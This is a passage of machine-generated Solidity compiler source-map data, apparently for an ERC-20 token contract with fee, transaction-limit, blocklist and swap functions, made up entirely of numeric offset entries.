0;;;;;:::i;:::-;;:::i;7627:33::-;;;;;;;;;;-1:-1:-1;7627:33:0;;;;-1:-1:-1;;;7627:33:0;;;;;;7785:48;;;;;;;;;;;;;;;;7840:50;;;;;;;;;;;;;;;;7731:47;;;;;;;;;;;;;;;;2239:127;;;;;;;;;;-1:-1:-1;2239:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;2340:18:0;2313:7;2340:18;;;;;;;;;;;;2239:127;8510:38;;;;;;;;;;-1:-1:-1;8510:38:0;;;;;;;;;;;;;;;;;;;5279:25:1;;;5335:2;5320:18;;5313:34;;;;5363:18;;;5356:34;5421:2;5406:18;;5399:34;5266:3;5251:19;8510:38:0;5048:391:1;17656:85:0;;17722:7;:11;;-1:-1:-1;;17722:11:0;17732:1;17722:11;;;17656:85;8287:79;;;;;;;;;;;;8324:42;8287:79;;17920:238;;;;;;;;;;-1:-1:-1;17920:238:0;;;;;:::i;:::-;;:::i;5852:87::-;;;;;;;;;;-1:-1:-1;5925:6:0;;-1:-1:-1;;;;;5925:6:0;5852:87;;1916:104;;;;;;;;;;;;;:::i;16693:115::-;;;:::i;6071:100::-;;;;;;;;;;;;;:::i;10433:410::-;;;;;;;;;;-1:-1:-1;10433:410:0;;;;;:::i;:::-;;:::i;7518:19::-;;;;;;;;;;-1:-1:-1;7518:19:0;;;;-1:-1:-1;;;;;7518:19:0;;;10849:165;;;;;;;;;;-1:-1:-1;10849:165:0;;;;;:::i;:::-;;:::i;8604:41::-;;;;;;;;;;-1:-1:-1;8604:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8745:39;;;;;;;;;;;;;;;;2594:201;;;;;;;;;;-1:-1:-1;2594:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;2760:18:0;;;2728:7;2760:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2594:201;17154:494;;;;;;;;;;-1:-1:-1;17154:494:0;;;;;:::i;:::-;;:::i;8035:75::-;;;;;;;;;;-1:-1:-1;8035:75:0;;;;-1:-1:-1;;;;;8035:75:0;;;8704:34;;;;;;;;;;-1:-1:-1;8704:34:0;;;;;;;;6177:192;;;;;;;;;;-1:-1:-1;6177:192:0;;;;;:::i;:::-;;:::i;8555:42::-;;;;;;;;;;-1:-1:-1;8555:42:0;;;;;;;;;;;;;;;8118:75;;;;;;;;;;-1:-1:-1;8118:75:0;;;;-1:-1:-1;;;;;8118:75:0;;;7490:21;;;;;;;;;;-1:-1:-1;7490:21:0;;;;-1:-1:-1;;;;;7490:21:0;;;7583:37;;;;;;;;;;-1:-1:-1;7583:37:0;;;;-1:-1:-1;;;7583:37:0;;;;;;1810:100;1864:13;1897:5;1890:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1810:100;:::o;9560:161::-;9635:4;9652:39;336:10;9675:7;9684:6;9652:8;:39::i;:::-;-1:-1:-1;9709:4:0;9560:161;;;;;:::o;16944:202::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;;;;;;;;;17041:9:::1;17036:103;17060:8;:15;17056:1;:19;17036:103;;;17122:5;17097:9;:22;17107:8;17116:1;17107:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;17097:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;17097:22:0;:30;;-1:-1:-1;;17097:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17077:3;::::1;::::0;::::1;:::i;:::-;;;;17036:103;;;;16944:202:::0;;:::o;16322:109::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;16397:18:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16397:26:0::1;-1:-1:-1::0;;;;16397:26:0;;::::1;::::0;;;::::1;::::0;;16322:109::o;17749:165::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;17829:21:::1;17869:7;5925:6:::0;;-1:-1:-1;;;;;5925:6:0;;5852:87;17869:7:::1;-1:-1:-1::0;;;;;17861:25:0::1;:45;17887:18;17861:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;17789:125;17749:165::o:0;9727:446::-;9859:4;9876:36;9886:6;9894:9;9905:6;9876:9;:36::i;:::-;-1:-1:-1;;;;;9950:19:0;;9923:24;9950:19;;;:11;:19;;;;;;;;336:10;9950:33;;;;;;;;10002:26;;;;9994:79;;;;-1:-1:-1;;;9994:79:0;;7733:2:1;9994:79:0;;;7715:21:1;7772:2;7752:18;;;7745:30;7811:34;7791:18;;;7784:62;-1:-1:-1;;;7862:18:1;;;7855:38;7910:19;;9994:79:0;7531:404:1;9994:79:0;10084:57;10093:6;336:10;10115:25;10134:6;10115:16;:25;:::i;:::-;10084:8;:57::i;:::-;-1:-1:-1;10161:4:0;;9727:446;-1:-1:-1;;;;9727:446:0:o;16816:120::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16901:19:0;;;::::1;;::::0;;;:9:::1;:19;::::0;;;;:27;;-1:-1:-1;;16901:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16816:120::o;10179:248::-;336:10;10295:4;10349:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10349:34:0;;;;;;;;;;10295:4;;10317:80;;10340:7;;10349:47;;10386:10;;10349:47;:::i;16437:248::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;16543:3:::1;16529:10;:17;;16521:92;;;::::0;-1:-1:-1;;;16521:92:0;;8405:2:1;16521:92:0::1;::::0;::::1;8387:21:1::0;8444:2;8424:18;;;8417:30;8483:34;8463:18;;;8456:62;8554:32;8534:18;;;8527:60;8604:19;;16521:92:0::1;8203:426:1::0;16521:92:0::1;16663:14;2109:2:::0;16663::::1;:14;:::i;:::-;16650:27;::::0;:10;:27:::1;:::i;:::-;16624:23;:53:::0;-1:-1:-1;16437:248:0:o;17920:238::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;18033:4:::1;-1:-1:-1::0;;;;;18013:25:0;::::1;::::0;18005:92:::1;;;::::0;-1:-1:-1;;;18005:92:0;;10392:2:1;18005:92:0::1;::::0;::::1;10374:21:1::0;10431:2;10411:18;;;10404:30;10470:34;10450:18;;;10443:62;-1:-1:-1;;;10521:18:1;;;10514:52;10583:19;;18005:92:0::1;10190:418:1::0;18005:92:0::1;18115:8;-1:-1:-1::0;;;;;18108:25:0::1;;18134:7;5925:6:::0;;-1:-1:-1;;;;;5925:6:0;;5852:87;18134:7:::1;18108:42;::::0;-1:-1:-1;;;;;;18108:42:0::1;::::0;;;;;;-1:-1:-1;;;;;10805:32:1;;;18108:42:0::1;::::0;::::1;10787:51:1::0;10854:18;;;10847:34;;;10760:18;;18108:42:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1916:104::-:0;1972:13;2005:7;1998:14;;;;;:::i;16693:115::-;16771:15;;16762:38;;-1:-1:-1;;;;;16771:15:0;16788:11;16762:8;:38::i;:::-;16693:115::o;6071:100::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;6142:21:::1;6160:1;6142:9;:21::i;10433:410::-:0;336:10;10554:4;10603:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10603:34:0;;;;;;;;;;10656:35;;;;10648:85;;;;-1:-1:-1;;;10648:85:0;;11344:2:1;10648:85:0;;;11326:21:1;11383:2;11363:18;;;11356:30;11422:34;11402:18;;;11395:62;-1:-1:-1;;;11473:18:1;;;11466:35;11518:19;;10648:85:0;11142:401:1;10648:85:0;10744:67;336:10;10767:7;10776:34;10795:15;10776:16;:34;:::i;10744:67::-;-1:-1:-1;10831:4:0;;10433:410;-1:-1:-1;;;10433:410:0:o;10849:165::-;10927:4;10944:40;10954:10;10966:9;10977:6;10944:9;:40::i;17154:494::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;17280:3:::1;17270:6;:13;;17262:65;;;::::0;-1:-1:-1;;;17262:65:0;;11750:2:1;17262:65:0::1;::::0;::::1;11732:21:1::0;11789:2;11769:18;;;11762:30;11828:34;11808:18;;;11801:62;-1:-1:-1;;;11879:18:1;;;11872:37;11926:19;;17262:65:0::1;11548:403:1::0;17262:65:0::1;17357:3;17346:7;:14;;17338:67;;;::::0;-1:-1:-1;;;17338:67:0;;12158:2:1;17338:67:0::1;::::0;::::1;12140:21:1::0;12197:2;12177:18;;;12170:30;12236:34;12216:18;;;12209:62;-1:-1:-1;;;12287:18:1;;;12280:38;12335:19;;17338:67:0::1;11956:404:1::0;17338:67:0::1;17437:3;17424:9;:16;;17416:71;;;::::0;-1:-1:-1;;;17416:71:0;;12567:2:1;17416:71:0::1;::::0;::::1;12549:21:1::0;12606:2;12586:18;;;12579:30;12645:34;12625:18;;;12618:62;-1:-1:-1;;;12696:18:1;;;12689:40;12746:19;;17416:71:0::1;12365:406:1::0;17416:71:0::1;17521:14;2109:2:::0;17521::::1;:14;:::i;:::-;17512:23;::::0;:6;:23:::1;:::i;:::-;17498:11;:37:::0;17571:14:::1;2109:2:::0;17571::::1;:14;:::i;:::-;17561:24;::::0;:7;:24:::1;:::i;:::-;17546:12;:39:::0;2109:2;17625:14:::1;::::0;:2:::1;:14;:::i;:::-;17613:26;::::0;:9;:26:::1;:::i;:::-;17596:14;:43:::0;-1:-1:-1;;;17154:494:0:o;6177:192::-;5925:6;;-1:-1:-1;;;;;5925:6:0;336:10;5985:23;5977:68;;;;-1:-1:-1;;;5977:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6266:22:0;::::1;6258:73;;;::::0;-1:-1:-1;;;6258:73:0;;12978:2:1;6258:73:0::1;::::0;::::1;12960:21:1::0;13017:2;12997:18;;;12990:30;13056:34;13036:18;;;13029:62;-1:-1:-1;;;13107:18:1;;;13100:36;13153:19;;6258:73:0::1;12776:402:1::0;6258:73:0::1;6342:19;6352:8;6342:9;:19::i;:::-;6177:192:::0;:::o;4895:380::-;-1:-1:-1;;;;;5031:19:0;;5023:68;;;;-1:-1:-1;;;5023:68:0;;13385:2:1;5023:68:0;;;13367:21:1;13424:2;13404:18;;;13397:30;13463:34;13443:18;;;13436:62;-1:-1:-1;;;13514:18:1;;;13507:34;13558:19;;5023:68:0;13183:400:1;5023:68:0;-1:-1:-1;;;;;5110:21:0;;5102:68;;;;-1:-1:-1;;;5102:68:0;;13790:2:1;5102:68:0;;;13772:21:1;13829:2;13809:18;;;13802:30;13868:34;13848:18;;;13841:62;-1:-1:-1;;;13919:18:1;;;13912:32;13961:19;;5102:68:0;13588:398:1;5102:68:0;-1:-1:-1;;;;;5183:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5235:32;;3330:25:1;;;5235:32:0;;3303:18:1;5235:32:0;;;;;;;4895:380;;;:::o;11020:2806::-;11170:1;11161:6;:10;11153:64;;;;-1:-1:-1;;;11153:64:0;;14193:2:1;11153:64:0;;;14175:21:1;14232:2;14212:18;;;14205:30;14271:34;14251:18;;;14244:62;-1:-1:-1;;;14322:18:1;;;14315:39;14371:19;;11153:64:0;13991:405:1;11153:64:0;-1:-1:-1;;;;;11233:17:0;;;;;;:9;:17;;;;;;;;11232:18;:43;;;;-1:-1:-1;;;;;;11255:20:0;;;;;;:9;:20;;;;;;;;11254:21;11232:43;11228:122;;;11300:14;;-1:-1:-1;;;11300:14:0;;;;11292:46;;;;-1:-1:-1;;;11292:46:0;;14603:2:1;11292:46:0;;;14585:21:1;14642:2;14622:18;;;14615:30;-1:-1:-1;;;14661:18:1;;;14654:49;14720:18;;11292:46:0;14401:343:1;11292:46:0;11374:4;;-1:-1:-1;;;;;11364:14:0;;;11374:4;;11364:14;:39;;;;-1:-1:-1;;;;;;11383:20:0;;;;;;:9;:20;;;;;;;;11382:21;11364:39;:54;;;;-1:-1:-1;11408:10:0;;-1:-1:-1;;;11408:10:0;;;;11407:11;11364:54;11360:306;;;11453:11;;11443:6;:21;;11435:63;;;;-1:-1:-1;;;11435:63:0;;14951:2:1;11435:63:0;;;14933:21:1;14990:2;14970:18;;;14963:30;15029:31;15009:18;;;15002:59;15078:18;;11435:63:0;14749:353:1;11435:63:0;11572:14;;11562:6;11539:20;11549:9;-1:-1:-1;;;;;2340:18:0;2313:7;2340:18;;;;;;;;;;;;2239:127;11539:20;:29;;;;:::i;:::-;:47;;11513:141;;;;-1:-1:-1;;;11513:141:0;;15309:2:1;11513:141:0;;;15291:21:1;;;15328:18;;;15321:30;15387:34;15367:18;;;15360:62;15439:18;;11513:141:0;15107:356:1;11513:141:0;11704:4;;-1:-1:-1;;;;;11694:14:0;;;11704:4;;11694:14;;;;:39;;-1:-1:-1;;;;;;11713:20:0;;;;;;:9;:20;;;;;;;;11712:21;11694:39;:61;;;;-1:-1:-1;;;;;;11738:17:0;;;;;;:9;:17;;;;;;;;11737:18;11694:61;:76;;;;-1:-1:-1;11760:10:0;;-1:-1:-1;;;11760:10:0;;;;11759:11;11694:76;11676:677;;;11815:12;;11805:6;:22;;11797:65;;;;-1:-1:-1;;;11797:65:0;;15670:2:1;11797:65:0;;;15652:21:1;15709:2;15689:18;;;15682:30;15748:32;15728:18;;;15721:60;15798:18;;11797:65:0;15468:354:1;11797:65:0;11894:4;;-1:-1:-1;;;;;11881:17:0;;;11894:4;;11881:17;11877:211;;11982:14;;11972:6;11949:20;11959:9;-1:-1:-1;;;;;2340:18:0;2313:7;2340:18;;;;;;;;;;;;2239:127;11949:20;:29;;;;:::i;:::-;:47;;11919:153;;;;-1:-1:-1;;;11919:153:0;;15309:2:1;11919:153:0;;;15291:21:1;;;15328:18;;;15321:30;15387:34;15367:18;;;15360:62;15439:18;;11919:153:0;15107:356:1;11919:153:0;12106:15;;;;12102:240;;;-1:-1:-1;;;;;12181:17:0;;12142:18;12181:17;;;:9;:17;;;;;;12163:35;;:15;:35;:::i;:::-;12142:56;;12239:12;;12225:10;:26;;12217:55;;;;-1:-1:-1;;;12217:55:0;;16029:2:1;12217:55:0;;;16011:21:1;16068:2;16048:18;;;16041:30;-1:-1:-1;;;16087:18:1;;;16080:46;16143:18;;12217:55:0;15827:340:1;12217:55:0;-1:-1:-1;;;;;;12291:17:0;;;;;;:9;:17;;;;;12311:15;12291:35;;12102:240;12363:15;12389:14;12414:11;12436:25;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12436:25:0;-1:-1:-1;;;;;12493:17:0;;12472;12493;;;:9;:17;;;;;;;;12492:18;:56;;;;-1:-1:-1;;;;;;12528:20:0;;;;;;:9;:20;;;;;;;;12527:21;12492:56;:112;;;;;12596:8;;12580:13;;:24;;;;:::i;:::-;12565:12;:39;12492:112;12619:10;;12472:132;;-1:-1:-1;;;;12619:10:0;;;;;:31;;-1:-1:-1;;;;;;12633:17:0;;;;;;:9;:17;;;;;;;;12619:31;:55;;;-1:-1:-1;;;;;;12654:20:0;;;;;;:9;:20;;;;;;;;12619:55;12615:804;;;12695:1;12689:7;;12615:804;;;12731:4;;-1:-1:-1;;;;;12718:17:0;;;12731:4;;12718:17;:34;;;;;12740:12;12739:13;12718:34;12714:705;;;12777:7;;;;;:12;12769:21;;;;;;12961:13;;12910:19;;12961:9;12871:19;12832;;:58;;12871:19;12832:58;:::i;:::-;:97;;;;:::i;:::-;:142;;;;:::i;:::-;13020:24;;;;;;;;13035:9;13020:24;;;;;;;;;;;;;;;;;;;;;;;;12805:169;;-1:-1:-1;12805:169:0;;-1:-1:-1;13020:24:0;-1:-1:-1;12714:705:0;;;13067:12;13062:357;;13228:9;;13193:15;;13228:5;13158:15;13123;;:50;;13158:15;13123:50;:::i;:::-;:85;;;;:::i;:::-;:114;;;;:::i;:::-;13284:20;;;;;;;;13299:5;13284:20;;;;;;;;;;;;;;;;;;;;;;;;13096:141;;-1:-1:-1;13096:141:0;;-1:-1:-1;13284:20:0;-1:-1:-1;13062:357:0;;;13326:12;13322:97;;;13365:9;;;-1:-1:-1;13365:9:0;;-1:-1:-1;13322:97:0;13455:3;13436:15;13445:6;13436;:15;:::i;:::-;13435:23;;;;:::i;:::-;13473:18;;13429:29;;-1:-1:-1;;;;13473:18:0;;;;:36;;;;-1:-1:-1;13505:4:0;;-1:-1:-1;;;;;13495:14:0;;;13505:4;;13495:14;;13473:36;13469:72;;;13511:30;13519:7;13528:12;13511:7;:30::i;:::-;13553:48;13569:6;13577:9;13588:12;13597:3;13588:6;:12;:::i;:::-;13553:15;:48::i;:::-;13616:7;;13612:207;;13646:11;;13642:164;;13678:17;13719:3;13699:16;13708:7;13699:6;:16;:::i;:::-;13698:24;;;;:::i;:::-;13678:44;;13741:49;13757:6;13773:4;13780:9;13741:15;:49::i;:::-;13659:147;13642:164;11142:2684;;;;;11020:2806;;;:::o;4690:199::-;4769:12;:21;;;-1:-1:-1;;;;;4801:18:0;;:9;:18;;;;;;;;;;;:27;;;4844:37;3330:25:1;;;4844:37:0;;3303:18:1;4844:37:0;;;;;;;4690:199;;:::o;6375:173::-;6450:6;;;-1:-1:-1;;;;;6467:17:0;;;-1:-1:-1;;;;;;6467:17:0;;;;;;;6500:40;;6450:6;;;6467:17;6450:6;;6500:40;;6431:16;;6500:40;6420:128;6375:173;:::o;13832:1681::-;8830:10;;-1:-1:-1;;;8830:10:0;;;;8825:110;;8857:10;:17;;-1:-1:-1;;;;8857:17:0;-1:-1:-1;;;8857:17:0;;;13921:49;;13952:7:::1;13921:49;14024:4;13980:23;2340:18:::0;;;;;;;;;;;14064:23:::1;::::0;14045:42;::::1;14041:1465;;14134:1;14108:23;;:27;14104:109;;;-1:-1:-1::0;14174:23:0::1;::::0;14104:109:::1;14224:19;14246:11;:7:::0;14256:1:::1;14246:11;:::i;:::-;14224:33;;14272:32;14366:11;14326:9;:19;;;14308:15;:37;;;;:::i;:::-;14307:70;;;;:::i;:::-;14272:105:::0;-1:-1:-1;14392:14:0::1;14409:42;14272:105:::0;14409:15;:42:::1;:::i;:::-;14392:59:::0;-1:-1:-1;14491:21:0::1;14527:24;14392:59:::0;14527:16:::1;:24::i;:::-;14566:20;14589:38;14613:14:::0;14589:21:::1;:38;:::i;:::-;14566:61;;14642:19;14694:9;:19;;;14680:11;:33;;;;:::i;:::-;14664:50;::::0;:12;:50:::1;:::i;:::-;14642:72;;14729:29;14775:9;:19;;;14761:11;:33;;;;:::i;:::-;14729:65:::0;-1:-1:-1;14813:25:0;;14809:121:::1;;14853:61;14866:24;14892:21;14853:12;:61::i;:::-;14985:19:::0;;14944:20:::1;::::0;14967:15:::1;:11:::0;14981:1:::1;14967:15;:::i;:::-;:37;;;;:::i;:::-;14944:60:::0;-1:-1:-1;15023:16:0;;15019:105:::1;;15068:15;::::0;15060:48:::1;::::0;-1:-1:-1;;;;;15068:15:0::1;15095:12:::0;15060:34:::1;:48::i;:::-;15179:19;::::0;::::1;::::0;15138:20:::1;::::0;15161:15:::1;:11:::0;15175:1:::1;15161:15;:::i;:::-;:37;;;;:::i;:::-;15138:60:::0;-1:-1:-1;15217:16:0;;15213:110:::1;;15262:20;::::0;15254:53:::1;::::0;-1:-1:-1;;;;;15262:20:0::1;15294:12:::0;15254:39:::1;:53::i;:::-;15372:13;::::0;::::1;::::0;15337:14:::1;::::0;15354:15:::1;:11:::0;15368:1:::1;15354:15;:::i;:::-;:31;;;;:::i;:::-;15337:48:::0;-1:-1:-1;15404:10:0;;15400:93:::1;;15443:15;::::0;15435:42:::1;::::0;-1:-1:-1;;;;;15443:15:0::1;15470:6:::0;15435:34:::1;:42::i;:::-;14089:1417;;;;;;;;;;14041:1465;13910:1603;8889:1;8905:10:::0;:18;;-1:-1:-1;;;;8905:18:0;;;13832:1681;;:::o;4106:578::-;-1:-1:-1;;;;;4246:20:0;;4238:70;;;;-1:-1:-1;;;4238:70:0;;16596:2:1;4238:70:0;;;16578:21:1;16635:2;16615:18;;;16608:30;16674:34;16654:18;;;16647:62;-1:-1:-1;;;16725:18:1;;;16718:35;16770:19;;4238:70:0;16394:401:1;4238:70:0;-1:-1:-1;;;;;4327:23:0;;4319:71;;;;-1:-1:-1;;;4319:71:0;;17002:2:1;4319:71:0;;;16984:21:1;17041:2;17021:18;;;17014:30;17080:34;17060:18;;;17053:62;-1:-1:-1;;;17131:18:1;;;17124:33;17174:19;;4319:71:0;16800:399:1;4319:71:0;-1:-1:-1;;;;;4427:17:0;;4403:21;4427:17;;;;;;;;;;;4463:23;;;;4455:74;;;;-1:-1:-1;;;4455:74:0;;17406:2:1;4455:74:0;;;17388:21:1;17445:2;17425:18;;;17418:30;17484:34;17464:18;;;17457:62;-1:-1:-1;;;17535:18:1;;;17528:36;17581:19;;4455:74:0;17204:402:1;4455:74:0;4560:22;4576:6;4560:13;:22;:::i;:::-;-1:-1:-1;;;;;4540:17:0;;;:9;:17;;;;;;;;;;;:42;;;;4593:20;;;;;;;;:30;;4617:6;;4540:9;4593:30;;4617:6;;4593:30;:::i;:::-;;;;;;;;4658:9;-1:-1:-1;;;;;4641:35:0;4650:6;-1:-1:-1;;;;;4641:35:0;;4669:6;4641:35;;;;3330:25:1;;3318:2;3303:18;;3184:177;4641:35:0;;;;;;;;4227:457;4106:578;;;:::o;15519:444::-;15609:16;;;15623:1;15609:16;;;;;;;;15585:21;;15609:16;;;;;;;;;;-1:-1:-1;15609:16:0;15585:40;;15654:4;15636;15641:1;15636:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15636:23:0;;;:7;;;;;;;;;;:23;;;;15680:6;;:13;;;-1:-1:-1;;;15680:13:0;;;;:6;;;;;:11;;:13;;;;;15636:7;;15680:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15670:4;15675:1;15670:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15670:23:0;;;:7;;;;;;;;;:23;15736:6;;15704:53;;15721:4;;15736:6;15745:11;15704:8;:53::i;:::-;15768:6;;:187;;-1:-1:-1;;;15768:187:0;;-1:-1:-1;;;;;15768:6:0;;;;:57;;:187;;15840:11;;15768:6;;15882:4;;15909;;15929:15;;15768:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15574:389;15519:444;:::o;15971:345::-;16082:6;;16050:53;;16067:4;;-1:-1:-1;;;;;16082:6:0;16091:11;16050:8;:53::i;:::-;16114:6;;:194;;-1:-1:-1;;;16114:194:0;;16179:4;16114:194;;;19193:34:1;19243:18;;;19236:34;;;16114:6:0;19286:18:1;;;19279:34;;;19329:18;;;19322:34;8324:42:0;19372:19:1;;;19365:44;16282:15:0;19425:19:1;;;19418:35;-1:-1:-1;;;;;16114:6:0;;;;:22;;16145:9;;19127:19:1;;16114:194:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15971:345;;:::o;5303:319::-;5418:6;5393:21;:31;;5385:73;;;;-1:-1:-1;;;5385:73:0;;19977:2:1;5385:73:0;;;19959:21:1;20016:2;19996:18;;;19989:30;20055:31;20035:18;;;20028:59;20104:18;;5385:73:0;19775:353:1;5385:73:0;5472:12;5490:9;-1:-1:-1;;;;;5490:14:0;5513:6;5490:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5471:54;;;5544:7;5536:78;;;;-1:-1:-1;;;5536:78:0;;20545:2:1;5536:78:0;;;20527:21:1;20584:2;20564:18;;;20557:30;20623:34;20603:18;;;20596:62;20694:28;20674:18;;;20667:56;20740:19;;5536:78:0;20343:422:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1354:127::-;1415:10;1410:3;1406:20;1403:1;1396:31;1446:4;1443:1;1436:15;1470:4;1467:1;1460:15;1486:118;1572:5;1565:13;1558:21;1551:5;1548:32;1538:60;;1594:1;1591;1584:12;1609:128;1674:20;;1703:28;1674:20;1703:28;:::i;1742:1191::-;1832:6;1840;1893:2;1881:9;1872:7;1868:23;1864:32;1861:52;;;1909:1;1906;1899:12;1861:52;1949:9;1936:23;1978:18;2019:2;2011:6;2008:14;2005:34;;;2035:1;2032;2025:12;2005:34;2073:6;2062:9;2058:22;2048:32;;2118:7;2111:4;2107:2;2103:13;2099:27;2089:55;;2140:1;2137;2130:12;2089:55;2176:2;2163:16;2198:4;2221:2;2217;2214:10;2211:36;;;2227:18;;:::i;:::-;2273:2;2270:1;2266:10;2305:2;2299:9;2368:2;2364:7;2359:2;2355;2351:11;2347:25;2339:6;2335:38;2423:6;2411:10;2408:22;2403:2;2391:10;2388:18;2385:46;2382:72;;;2434:18;;:::i;:::-;2470:2;2463:22;2520:18;;;2554:15;;;;-1:-1:-1;2596:11:1;;;2592:20;;;2624:19;;;2621:39;;;2656:1;2653;2646:12;2621:39;2680:11;;;;2700:148;2716:6;2711:3;2708:15;2700:148;;;2782:23;2801:3;2782:23;:::i;:::-;2770:36;;2733:12;;;;2826;;;;2700:148;;;2867:6;-1:-1:-1;2892:35:1;;-1:-1:-1;2908:18:1;;;2892:35;:::i;:::-;2882:45;;;;;;1742:1191;;;;;:::o;2938:241::-;2994:6;3047:2;3035:9;3026:7;3022:23;3018:32;3015:52;;;3063:1;3060;3053:12;3015:52;3102:9;3089:23;3121:28;3143:5;3121:28;:::i;:::-;3168:5;2938:241;-1:-1:-1;;;2938:241:1:o;3366:456::-;3443:6;3451;3459;3512:2;3500:9;3491:7;3487:23;3483:32;3480:52;;;3528:1;3525;3518:12;3480:52;3567:9;3554:23;3586:31;3611:5;3586:31;:::i;:::-;3636:5;-1:-1:-1;3693:2:1;3678:18;;3665:32;3706:33;3665:32;3706:33;:::i;:::-;3366:456;;3758:7;;-1:-1:-1;;;3812:2:1;3797:18;;;;3784:32;;3366:456::o;4016:382::-;4081:6;4089;4142:2;4130:9;4121:7;4117:23;4113:32;4110:52;;;4158:1;4155;4148:12;4110:52;4197:9;4184:23;4216:31;4241:5;4216:31;:::i;:::-;4266:5;-1:-1:-1;4323:2:1;4308:18;;4295:32;4336:30;4295:32;4336:30;:::i;:::-;4385:7;4375:17;;;4016:382;;;;;:::o;4611:180::-;4670:6;4723:2;4711:9;4702:7;4698:23;4694:32;4691:52;;;4739:1;4736;4729:12;4691:52;-1:-1:-1;4762:23:1;;4611:180;-1:-1:-1;4611:180:1:o;4796:247::-;4855:6;4908:2;4896:9;4887:7;4883:23;4879:32;4876:52;;;4924:1;4921;4914:12;4876:52;4963:9;4950:23;4982:31;5007:5;4982:31;:::i;5444:388::-;5512:6;5520;5573:2;5561:9;5552:7;5548:23;5544:32;5541:52;;;5589:1;5586;5579:12;5541:52;5628:9;5615:23;5647:31;5672:5;5647:31;:::i;:::-;5697:5;-1:-1:-1;5754:2:1;5739:18;;5726:32;5767:33;5726:32;5767:33;:::i;5837:316::-;5914:6;5922;5930;5983:2;5971:9;5962:7;5958:23;5954:32;5951:52;;;5999:1;5996;5989:12;5951:52;-1:-1:-1;;6022:23:1;;;6092:2;6077:18;;6064:32;;-1:-1:-1;6143:2:1;6128:18;;;6115:32;;5837:316;-1:-1:-1;5837:316:1:o;6381:380::-;6460:1;6456:12;;;;6503;;;6524:61;;6578:4;6570:6;6566:17;6556:27;;6524:61;6631:2;6623:6;6620:14;6600:18;6597:38;6594:161;;6677:10;6672:3;6668:20;6665:1;6658:31;6712:4;6709:1;6702:15;6740:4;6737:1;6730:15;6594:161;;6381:380;;;:::o;6766:356::-;6968:2;6950:21;;;6987:18;;;6980:30;7046:34;7041:2;7026:18;;7019:62;7113:2;7098:18;;6766:356::o;7127:127::-;7188:10;7183:3;7179:20;7176:1;7169:31;7219:4;7216:1;7209:15;7243:4;7240:1;7233:15;7259:127;7320:10;7315:3;7311:20;7308:1;7301:31;7351:4;7348:1;7341:15;7375:4;7372:1;7365:15;7391:135;7430:3;7451:17;;;7448:43;;7471:18;;:::i;:::-;-1:-1:-1;7518:1:1;7507:13;;7391:135::o;7940:128::-;8007:9;;;8028:11;;;8025:37;;;8042:18;;:::i;8073:125::-;8138:9;;;8159:10;;;8156:36;;;8172:18;;:::i;8634:422::-